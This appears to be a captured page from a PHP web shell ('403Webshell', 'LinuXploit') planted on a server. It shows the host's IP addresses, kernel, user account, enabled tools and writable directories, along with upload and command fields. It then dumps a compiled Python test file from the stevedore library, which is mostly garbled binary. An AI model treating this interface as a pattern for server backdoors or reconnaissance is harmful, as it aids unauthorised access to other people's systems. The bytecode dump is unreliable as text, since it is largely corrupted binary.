403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/stevedore/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/stevedore/tests/__pycache__/test_callback.cpython-311.pyc
�

��Och��l�dZddlmZddlmZddlmZddlmZddlm	Z	Gd�de	j
��Zd	S)
z#Tests for failure loading callback
�)�mock)�GreaterThan)�	extension)�named)�utilsc�F�eZdZd�Zejd��d���ZdS)�TestCallbackc���g��fd�}tjdd|���}t|j��}|�t|��t
d����|�t���d���D]>\}}}|�||��|�	|ttf���?dS)Nc�8����|||f��dS�N)�append)�manager�
entrypoint�error�errorss   ��?/usr/lib/python3/dist-packages/stevedore/tests/test_callback.py�failure_callbackzMTestCallback.test_extension_failure_custom_callback.<locals>.failure_callbacks"����M�M�7�J��6�7�7�7�7�7��stevedore.test.extensionT)�invoke_on_load�on_load_failure_callbackr�)r�ExtensionManager�list�
extensions�
assertTrue�lenr�assertEqual�assertIs�assertIsInstance�IOError�ImportError)�selfr�emrrrrrs       @r�&test_extension_failure_custom_callbackz3TestCallback.test_extension_failure_custom_callbacks������	8�	8�	8�	8�	8��
'�(B�7;�(8�:�:�:���"�-�(�(�
�����J����Q���8�8�8�����V���a�(�(�(�*0�	A�	A�&�G�Z���M�M�'�2�&�&�&��!�!�%�'�;�)?�@�@�@�@�	A�	Arz3stevedore.named.NamedExtensionManager._load_pluginsc����t����fd�}tjdddd��g|_t	jdddgd|���|��dh��dS)Nc�2����|��dSr)�update)�namesrs �r�callbackz@TestCallback.test_missing_entrypoints_callback.<locals>.callback.s����M�M�%� � � � � r�foor�barT)r)r�on_missing_entrypoints_callback)�setr�	Extension�return_valuer�NamedExtensionManagerr)r#�load_fnr*rs   @r�!test_missing_entrypoints_callbackz.TestCallback.test_missing_entrypoints_callback*s��������	!�	!�	!�	!�	!�
���t�T�4�8�8� 
���	�#�$>�+0�%�.�37�DL�	N�	N�	N�	N�	
����%��)�)�)�)�)rN)�__name__�
__module__�__qualname__r%r�patchr3�rrr	r	sP������A�A�A�"�T�Z�E�F�F�
*�
*�G�F�
*�
*�
*rr	N)�__doc__�unittestr�testtools.matchersr�	stevedorerr�stevedore.testsr�TestCaser	r8rr�<module>r?s�����������*�*�*�*�*�*�������������!�!�!�!�!�!� *� *� *� *� *�5�>� *� *� *� *� *r

Youez - 2016 - github.com/yon3zu
LinuXploit